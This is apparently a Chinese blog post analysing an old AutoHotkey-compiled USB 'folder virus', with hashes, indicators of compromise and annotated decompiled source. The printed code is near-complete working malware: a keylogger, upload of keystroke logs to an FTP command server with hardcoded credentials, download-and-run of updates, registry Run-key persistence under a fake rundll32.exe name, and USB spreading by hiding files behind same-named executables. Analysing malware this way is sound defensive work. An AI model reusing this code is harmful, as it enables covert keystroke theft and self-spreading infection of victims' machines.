一例AutoHotkey语言生成的文件夹病毒分析
概述
这是一个使用AutoHotkey语言编写的文件夹病毒,使用ftp服务器来当作C2,通过U盘传播,样本很古老,原理也很简单,这种语言的样本还是第一次见到,记录一下。
样本的基本信息
PE32库: AutoIt(3.XX)[-]编译器: EP:Microsoft Visual C/C++(2008-2010)[EXE32]编译器: Microsoft Visual C/C++(2010)[libcmt]链接程序: Microsoft Linker(10.0)[GUI32]附加: Binary数据: AutoIt compiled script(2.XX-3.XX)
文件大小: 664 KB (680,393 字节)
MD5: 8b5c2cbf7d89be0a6eb66ecc29d9f5fd
SHA1: c5c54d656520436e65f6feb58df1272422f6e9b4
SHA256: 67d184ecf4b2f01fdae6a3d8574a95e63ebf89ea1f1b01dd845b520a5e2cc9fc
Link date: 22:44 2011/1/18
这是一个典型的文件夹病毒,使用了win7的文件夹图标用作掩护(如下图所示),使用AutoHotKey语言编译而成。

使用autoit3 Decompiler工具将脚本还原出来。该工具下载地址为AutoIt3 Decompiler GUI v1.9 。AutoHotkey是一款开源的热键脚本语言,可以创建各种脚本和宏来自动化计算机任务。可用用SciTE4AutoHotkey(下载地址GitHub - telppa/SciTE4AutoHotkey-Plus: 这是最适合中文与新人用户的AHK IDE 由于原版早已不更新了 故多年来在原版基础上做了非常多的改进 目的只有一个 让大家用得更顺手)编译器来查看这种代码(支持高亮和折叠)。

病毒分析
下面对脚本的内容进行分析。(只对关键的代码进行注释)
SetWorkingDir %A_ScriptDir% ;设置当前工作目录为脚本所在的目录。
des_path = %A_AppData%\Microsoft\Office ;设置两个变量,一个是Office的安装路径,一个是Office的版本。
version = 2000
If A_ScriptName not contains rundll32 ;如果当前脚本的名称不包含"rundll32",则执行下面的代码。这是从U盘运行的情形
{If A_ScriptName contains ums ;如果当前脚本的名称包含"ums",则执行`copy`子程序并退出程序。{gosub copyExitApp}ComObjError(false) ;关闭COM错误提示StringTrimRight, Target, A_ScriptName, 4 ;从脚本名称的右边剪切4个字符,并将结果保存到Target变量中,即去掉文件后缀名Target = %A_ScriptDir%\%Target% ;将Target变量设置为脚本目录加Target。IfNotExist, %Target% ;如果Target指定的目录不存在,则创建该目录。FileCreateDir, %Target%#IfWinActive, ahk_group MS_ExplorerShellNavigate(Target, WinExist("ahk_group MS_Explorer")) ;打开与本程序同名的目录,即被隐藏的原目录FileSetAttrib, +SH, %Target% ;将Target指定的目录设置为隐藏和系统属性。gosub install ;执行`install`子程序。ExitApp ;退出程序
};写入注册表操作,将"ShowSuperHidden"的值设置为0,隐藏受保护的操作系统文件
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden, 0;设置FTP服务器的相关信息,包括主机名、端口、用户名和密码。
FtpHost = ftp.byethost10.com
FtpPort = 21
FtpUsername = b10_7591157
FtpPassword = un10ck;设置本地文件路径,这个文件用来记录用户的按键
localFile = %A_AppData%\Microsoft\Office\mspoint.pip
;设置FTP服务器上的目录路径,路径包含计算机名和用户名。
Dirpath = /htdocs/autohotkey/%A_ComputerName%_%A_UserName%
;获取所有可移动驱动器的列表,并将其保存在old_drive_list变量中。
DriveGet, old_drive_list, List, REMOVABLE
;监听设备变化的消息,当有设备插入或拔出时,调用WM_DEVICECHANGE函数。
OnMessage(0x219, "WM_DEVICECHANGE")Gosub check ;调用check子程序。time_c := 1000*60*30
SetTimer, check , %time_c% ;设置定时器,每隔30分钟执行一次check子程序。
oldtitle=nothing ;设置变量oldtitle的值为nothing。;这段代码可能用于键盘的监听和记录,记录用户在每个窗口中的键盘操作,保存在本地文件mspoint.pip中。
Loop
{;捕获用户的输入。如果用户输入了指定的按键(例如Enter、Esc等),那么将停止输入。Input, UserInput, V C, {enter}.{esc}{Space}{tab}{Left}{Right}{Up}{Down}{Home}{End}{BS}tvar:=ErrorlevelWinGetActiveTitle, watitle ;获取当前活动窗口的标题,并将其保存到变量watitle中;如果当前活动窗口的标题与上次记录的标题不同,且标题不为空,则执行以下操作if (watitle != oldtitle and watitle != ""){FileAppend, `n`n-------- %watitle% --------`n, %localFile% ;在本地文件mspoint.pip中记录当前窗口的标题。FormatTime, CurrentDateTime,, MM-dd-yyyy hh:mm:ss tt ;获取当前日期和时间,并将其保存到变量CurrentDateTime中FileAppend, --------%CurrentDateTime% --------`n,%localFile% ;在本地文件中记录当前的日期和时间。oldtitle = %watitle% ;将当前窗口的标题保存到oldtitle变量中。}IfInString, tvar, EndKey: ;如果变量tvar包含"EndKey:",则执行以下操作:{StringSplit,endkey,tvar,`: ;将tvar变量的值按":"分割,将结果保存到endkey变量中。if endkey2=Enter ;如果endkey2的值为"Enter",则将用户的输入添加到本地文件mspoint.pip中FileAppend, %UserInput%`n, %localFile%else if endkey2=Space ;如果endkey2的值为"Space",则将用户的输入和一个空格添加到本地文件mspoint.pip中。FileAppend, %UserInput%%A_space%, %localFile%else if endkey2=. ;如果endkey2的值为".",则将用户的输入和一个"."添加到本地文件中。FileAppend, %UserInput%. , %localFile%else ;对于其他情况,将用户的输入和按键添加到本地文件中。{StringLeft, endkey2, endkey2, 1FileAppend, %UserInput%[%endkey2%], %localFile%}}
}
return
check部分的功能主要是连接到FTP服务器,上传mspoint.pip文件,然后检查服务器是否有新的更新文件,如果有则下载并运行。
check: ;这段代码主要是连接到FTP服务器,上传文件,然后检查服务器是否有新的更新文件,如果有则下载并运行IfNotExist, %localFile% ;检查本地文件mspoint.pip是否存在,如果不存在则返回。returnINetStart() ;启动网络服务
hFTP := INetConnect(FtpHost, FtpPort, FtpUsername, FtpPassword, "ftp", 1) ;连接到FTP服务器
If (!hFTP)Returnif(!FtpSetCurrentDirectory(hFTP , Dirpath)) ;设置FTP服务器的当前目录
{createdir()if(!FtpSetCurrentDirectory(hFTP , Dirpath)){INetCloseHandle(hFTP)INetStop()return}
}If(upload()) ;上传mspoint.pip文件到FTP服务器
{FileGetSize, file_size, %localFile%, K ;获取本地文件的大小,如果文件大小大于200K,则删除该文件if file_size > 200Filedelete, %localFile%
};检查服务器是否有新的更新文件,如果有则下载并运行
FtpSetCurrentDirectory(hFTP , "/htdocs/update") ;FTP服务器的当前目录设置为"/htdocs/update"
if((hEnum := FtpFindFirstFile(hFTP, "ums*.exe", FTPData))) ;在FTP服务器的当前目录中查找第一个匹配"ums*.exe"的文件
{FileName := FtpGetFileInfo(FTPData, "Name") ;获取查找到的文件的信息StringMid, Outfilename, FileName, 4, 4 ;从filename第4个字符后取4个字符,应该是版本号,保存在Outfilename中oldversion := versionif(Outfilename > version) ;若ftp上的版本大于当前的版本,下载新文件并运行{update_file = /htdocs/update/%FileName%if(FtpGetFile(hFTP, update_file, "ums.exe", "B", 1, 4)) ;FTP服务器下载更新文件{run ums.exe ;运行更新文件INetCloseHandle(hFTP)INetStop()Exitapp}}
}
INetCloseHandle(hFTP)
INetStop()Return
install子程序,用于感染系统
install:
GroupAdd, MS_Explorer, ahk_class CabinetWClass
GroupAdd, MS_Explorer, ahk_class ExploreWClass;从注册表中读取指定路径下的特定值,与隐藏后缀名有关
RegRead, refresh1, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, ShowSuperHidden
RegRead, refresh2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt;若当前系统之前被感染过,读取之前病毒的版本
RegRead, version2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion;如果读取的注册表值不符合预期,则修改这些值,并刷新资源管理器窗口,隐藏文件后缀名
if(refresh1 != 0 or refresh2 != 1)
{RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden, 0RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt, 1ShellNavigate("refresh", WinExist("ahk_group MS_Explorer"))
};从注册表中读取version
RegRead, version2, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion
if ErrorLevel = 1 ;如果读取注册表时发生错误,执行copygosub copy
if version > %version2% ;如果`version`大于读取到的注册表值,调用`copy`标签下的代码gosub copy
IfNotExist, %des_path%\rundll32.exe ;如果指定路径下不存在`rundll32.exe`文件,调用`copy`标签下的代码。gosub copy
Process, Exist, rundll32.exe ;检查`rundll32.exe`进程是否存在。
if ErrorLevel = 0 ;如果`rundll32.exe`进程不存在,运行指定路径下的`rundll32.exe`。run %des_path%\rundll32.exe, %des_path%,hide|UseErrorLevel
ExitApp ;结束当前脚本。
return
copy子函数用于复制自身到系统中并添加开机启动项
copy:
Process, close, rundll32.exe ;结束名为`rundll32.exe`的进程
IfNotExist, %des_path% ;如果指定的路径不存在,则创建这个路径FileCreateDir, %des_path%
sleep 1000 ;暂停脚本执行1秒(1000毫秒)
IfExist, %des_path%\rundll32.exe ;如果指定路径下已经存在名为`rundll32.exe`的文件,则删除这个文件filedelete , %des_path%\rundll32.exe;将当前运行的脚本文件复制到指定路径,并命名为`rundll32.exe`。`1`表示如果目标文件已存在,则覆盖它。
FileCopy, %A_ScriptFullPath%, %des_path%\rundll32.exe, 1
if ErrorLevel = 1return
;将复制的文件的属性设置为隐藏和系统文件。
FileSetAttrib, +SH, %des_path%\rundll32.exe;将复制的文件路径写入到Windows的注册表,使其在每次启动系统时自动运行,并写入一个指定的版本号
RegWrite, REG_SZ, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Run , Microsoft Windows, %des_path%\rundll32.exe
RegWrite, REG_DWORD, HKEY_CURRENT_USER, SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion, %version%sleep 1000;运行复制的文件,并将窗口隐藏
run %des_path%\rundll32.exe, %des_path%,hide|UseErrorLevel
ExitApp
return
感染可移动存储介质
WM_DEVICECHANGE() ;当设备发生改变时,例如新接入或移除设备,这个函数将被调用
{global old_drive_list ;声明一个全局变量,用于存储上一次检测到的设备列表give_up := A_TickCount + 2500 ;设置一个超时时间,如果在2500毫秒内没有检测到新的设备,将会跳出循环Loop{DriveGet, new_drive_list, List, REMOVABLE ;获取所有可移动设备的列表if (old_drive_list != new_drive_list) ;如果新获取的设备列表与旧的设备列表不同,说明有新设备接入或旧设备移除,跳出循环。Breakif (A_TickCount > give_up) ;如果当前时间超过了设置的超时时间,也跳出循环Break}new_drive := "" ;初始化新设备的变量if StrLen(new_drive_list) > StrLen(old_drive_list) ;如果新设备列表的长度大于旧设备列表的长度,说明有新设备接入。{Loop, Parse, new_drive_list ;遍历新设备列表IfNotInString, old_drive_list, %A_LoopField% ;如果旧设备列表中不包含当前设备,说明这是新接入的设备。{new_drive := A_LoopField ;将新接入的设备赋值给`new_drive`Break}process_new_drive(new_drive . ":") ;对新接入的设备进行处理,具体的处理方式由`process_new_drive`函数定义。}old_drive_list := new_drive_list ;更新设备列表Return
};这段代码的主要功能是将当前运行的脚本文件复制到新接入设备的每一个文件或文件夹所在位置,并隐藏原文件或文件夹,显示复制的`.exe`文件。这样,当用户打开设备并点击文件或文件夹时,实际上运行的是复制的脚本文件。这是一种常见的病毒传播方式
process_new_drive(drive)
{;这是一个循环,用于遍历新接入设备中的所有文件和文件夹。`%drive%\*.*`表示设备中的所有文件和文件夹,`2`表示包括子文件夹Loop, %drive%\*.* , 2 {;将当前运行的脚本文件复制到新接入设备的每一个文件或文件夹所在位置,并将复制的文件命名为原文件或文件夹的名称加上`.exe`后缀。`1`表示如果目标文件已存在,则覆盖它。FileCopy, %A_ScriptFullPath%, %drive%\%A_LoopFileName%.exe ,1;将当前文件或文件夹的属性设置为隐藏和系统文件,`+SH`表示设置隐藏(Hidden)和系统(System)属性FileSetAttrib, +SH, %A_LoopFileLongPath%;将复制的`.exe`文件的属性设置为非隐藏和非系统文件,`-SH`表示移除隐藏(Hidden)和系统(System)属性。FileSetAttrib, -SH, %drive%\%A_LoopFileName%.exe}
}
这个样本的基本功能比较简单,记录当前系统中窗口名称和用户按键保存在%AppData%\Microsoft\Office\mspoint.pip文件中,上传到ftp服务器上(ftp.byethost10.com),并从服务器上下载新的版本运行(落地为ums.exe)。
通过可移动存储介质传播,遍历U盘中的文件和目录,隐藏原文件和目录,将自身复制为同名的.exe文件,诱导用户点击。感染系统后,将自身复制到%AppData%\Microsoft\Office\rundll32.exe,并在注册表中添加开机启动项,并修改主机配置,隐藏文件后缀名。
这是文件夹病毒的通常操作。
ioc
hash
MD5: 8b5c2cbf7d89be0a6eb66ecc29d9f5fd
SHA1: c5c54d656520436e65f6feb58df1272422f6e9b4文件
%AppData%\Microsoft\Office\rundll32.exe 病毒母体
%AppData%\Microsoft\Office\mspoint.pip 保存键盘记录
%AppData%\Microsoft\Office\ums.exe 更新文件
U盘中与文件和目录同名的.exe文件,使用win7的文件夹图标网络
ftp.byethost10.com ftp服务器注册表
这两项用于隐藏文件后缀名
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , ShowSuperHidden=0
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , HideFileExt=1这是病毒的版本
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced , Msversion开机启动项
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run , Microsoft Windows, %AppData%\Microsoft\Office\rundll32.exe
参考资料
-
AutoHotkey用法教程(Chinar强烈推荐学习)_autohotkey中文手册-CSDN博客
-
AutoHotkey (sourceforge.net)
-
GitHub - telppa/SciTE4AutoHotkey-Plus: 这是最适合中文与新人用户的AHK IDE 由于原版早已不更新了 故多年来在原版基础上做了非常多的改进 目的只有一个 让大家用得更顺手
相关文章:
一例AutoHotkey语言生成的文件夹病毒分析
概述 这是一个使用AutoHotkey语言编写的文件夹病毒,使用ftp服务器来当作C2,通过U盘传播,样本很古老,原理也很简单,这种语言的样本还是第一次见到,记录一下。 样本的基本信息 PE32库: AutoIt(3.XX)[-]编译…...
【机器学习第7章——贝叶斯分类器】
机器学习第7章——贝叶斯分类器 7.贝叶斯分类器7.1贝叶斯决策论7.2 朴素贝叶斯分类器条件概率的m估计 7.3 极大似然估计优点基本原理 7.4 贝叶斯网络7.5 半朴素贝叶斯分类器7.6 EM算法7.7 EM算法实现 7.贝叶斯分类器 7.1贝叶斯决策论 一个医疗判断问题 有两个可选的假设&#…...
C++ QT开发 学习笔记(3)
C QT开发 学习笔记(3) - WPS项目 标准对话框 对话框类说明静态函数函数说明QFileDialog文件对话框getOpenFileName()选择打开一个文件getOpenFileNames()选择打开多个文件getSaveFileName()选择保存一个文件getExistingDirectory()选择一个己有的目录getOpenFileUrl()选择打幵…...
【Python实战】如何优雅地实现文字 二维码检测?
前几篇,和大家分享了如何通过 Python 和相关库,自动化处理 PDF 文档,提高办公效率。 【Python实战】自动化处理 PDF 文档,完美实现 WPS 会员功能【Python实战】如何优雅地实现 PDF 去水印?【Python实战】一键生成 PDF…...
行为型设计模式3:模板方法/备忘录/解释器/迭代器
设计模式:模板方法/备忘录/解释器/迭代器 (qq.com)...
思源笔记软件的优缺点分析
在过去一年里,我用了很多款笔记,从word文档到onenote到语雀再到思源,最后坚定的选择了思源笔记 使用感受 首先是用word文档来记笔记,主要是开始时不知道笔记软件怎么好用,等到笔记越来越膨胀的时候我发现,…...
追问试面试系列:Dubbo
欢迎来到Dubbo系列,在面试中被问到Dubbo相关的问题时,大部分都是简历上写了Dubbo,或者面试官想尝试问问你对Dubbo是否了解。 本系列主要是针对面试官通过一个点就使劲儿往下问的情况。 面试官:说说你们项目亮点 好的面试官 我们这个项目的技术亮点在于采用了Spring Cloud…...
动手学深度学习V2每日笔记(卷积层)
本文主要参考沐神的视频教程 https://www.bilibili.com/video/BV1L64y1m7Nh/p2&spm_id_from333.1007.top_right_bar_window_history.content.click&vd_sourcec7bfc6ce0ea0cbe43aa288ba2713e56d 文档教程 https://zh-v2.d2l.ai/ 本文的主要内容对沐神提供的代码中个人不…...
qcom ucsi probe
ucsi glink 注册一个ucsi 设备,和pmic glink进行通信,ucsi作为pmic glink的一个client。 lkml的patch https://lkml.org/lkml/2023/1/30/233 dtsi中一般会定义 qcom,ucsi-glink 信息,用于和驱动进行匹配 static const struct of_device_id …...
flask和redis配合
对于涉及数据提交的场景,比如更新用户信息,你可能会使用POST或PUT请求。但是,这些操作通常与直接从Redis缓存中检索数据不同,因为它们可能涉及到对后端数据库或其他存储系统的修改。并且可能需要将更新后的数据同步回Redis缓存&am…...
深度学习中的早停法
早停法(Early Stopping)是一种用于防止模型过拟合的技术,在训练过程中监视验证集(或者测试集)上的损失值。具体设立早停的限制包括两个主要参数: Patience(耐心):这是指验…...
科普文:JUC系列之多线程门闩同步器CountDownLatch的使用和源码
CountDownLatch类位于java.util.concurrent包下,利用它可以实现类似计数器的功能。比如有一个任务A,它要等待其他10个线程的任务执行完毕之后才能执行,此时就可以利用CountDownLatch来实现这种功能了。 CountDownLatch是通过一个计数器来实现…...
foreach循环和for循环在PHP中各有什么优势
在PHP中,foreach循环和for循环都是用来遍历数组的常用结构,但它们各有其优势和使用场景。 foreach循环的优势 简化代码:foreach循环提供了一种更简洁的方式来遍历数组,不需要手动控制索引或指针。易于阅读:对于简单的…...
巧用casaos共享挂载自己的外接硬盘为局域网共享
最近入手了个魔改机顶盒,已经刷好了的armbian,虽然是原生的,但是我觉得挺强大的,内置了很多 常用的docker和应用,只需要armbian-software 安装就行,缺点就是emmc太小了。 买到之后第一时间装上了casaos和1p…...
标题:解码“八股文”:助力、阻力,还是空谈?
标题:解码“八股文”:助力、阻力,还是空谈? 在程序员的面试与职场发展中,“八股文”一直是一个备受争议的话题。它既是求职者展示自己技术功底的途径,也是一些公司筛选人才的标准之一。但“八股文”在实际…...
语言无界,沟通无限:2024年好用在线翻译工具推荐
随着技术的发展现在的翻译在线工具从基础词句翻译到复杂的文章翻译都不在话下。为了防止你被五花八门的工具挑花眼,我给你介绍几款我用过的便捷、高效、准确的翻译工具吧。 1.福晰翻译端 链接直通:https://www.foxitsoftware.cn/fanyi/ 这个软件支持…...
【Golang 面试 - 进阶题】每日 3 题(十八)
✍个人博客:Pandaconda-CSDN博客 📣专栏地址:http://t.csdnimg.cn/UWz06 📚专栏简介:在这个专栏中,我将会分享 Golang 面试中常见的面试题给大家~ ❤️如果有收获的话,欢迎点赞👍收藏…...
二分+dp,CF 1993D - Med-imize
一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 D - Med-imize 二、解题报告 1、思路分析 对于n < k的情况直接排序就行 对于n > k的情况 最终的序列长度一定是 (n - 1) % k 1 这个序列是原数组的一个子序列 对于该序列的第一个元素࿰…...
三十种未授权访问漏洞复现 合集( 三)
未授权访问漏洞介绍 未授权访问可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷,导致其他用户可以直接访问,从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。---->目录遍历 目前主要存在未授权访问漏洞的有:NFS服务&a…...
数据湖和数据仓库核心概念与对比
随着近几年数据湖概念的兴起,业界对于数据仓库和数据湖的对比甚至争论就一直不断。有人说数据湖是下一代大数据平台,各大云厂商也在纷纷的提出自己的数据湖解决方案,一些云数仓产品也增加了和数据湖联动的特性。但是数据仓库和数据湖的区别到…...
深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录
ASP.NET Core 是一个跨平台的开源框架,用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录,以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...
【JVM】- 内存结构
引言 JVM:Java Virtual Machine 定义:Java虚拟机,Java二进制字节码的运行环境好处: 一次编写,到处运行自动内存管理,垃圾回收的功能数组下标越界检查(会抛异常,不会覆盖到其他代码…...
前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...
CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云
目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...
QT: `long long` 类型转换为 `QString` 2025.6.5
在 Qt 中,将 long long 类型转换为 QString 可以通过以下两种常用方法实现: 方法 1:使用 QString::number() 直接调用 QString 的静态方法 number(),将数值转换为字符串: long long value 1234567890123456789LL; …...
VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP
编辑-虚拟网络编辑器-更改设置 选择桥接模式,然后找到相应的网卡(可以查看自己本机的网络连接) windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置,选择刚才配置的桥接模式 静态ip设置: 我用的ubuntu24桌…...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...
华为OD机考-机房布局
import java.util.*;public class DemoTest5 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseSystem.out.println(solve(in.nextLine()));}}priv…...
JavaScript 数据类型详解
JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型(Primitive) 和 对象类型(Object) 两大类,共 8 种(ES11): 一、原始类型(7种) 1. undefined 定…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
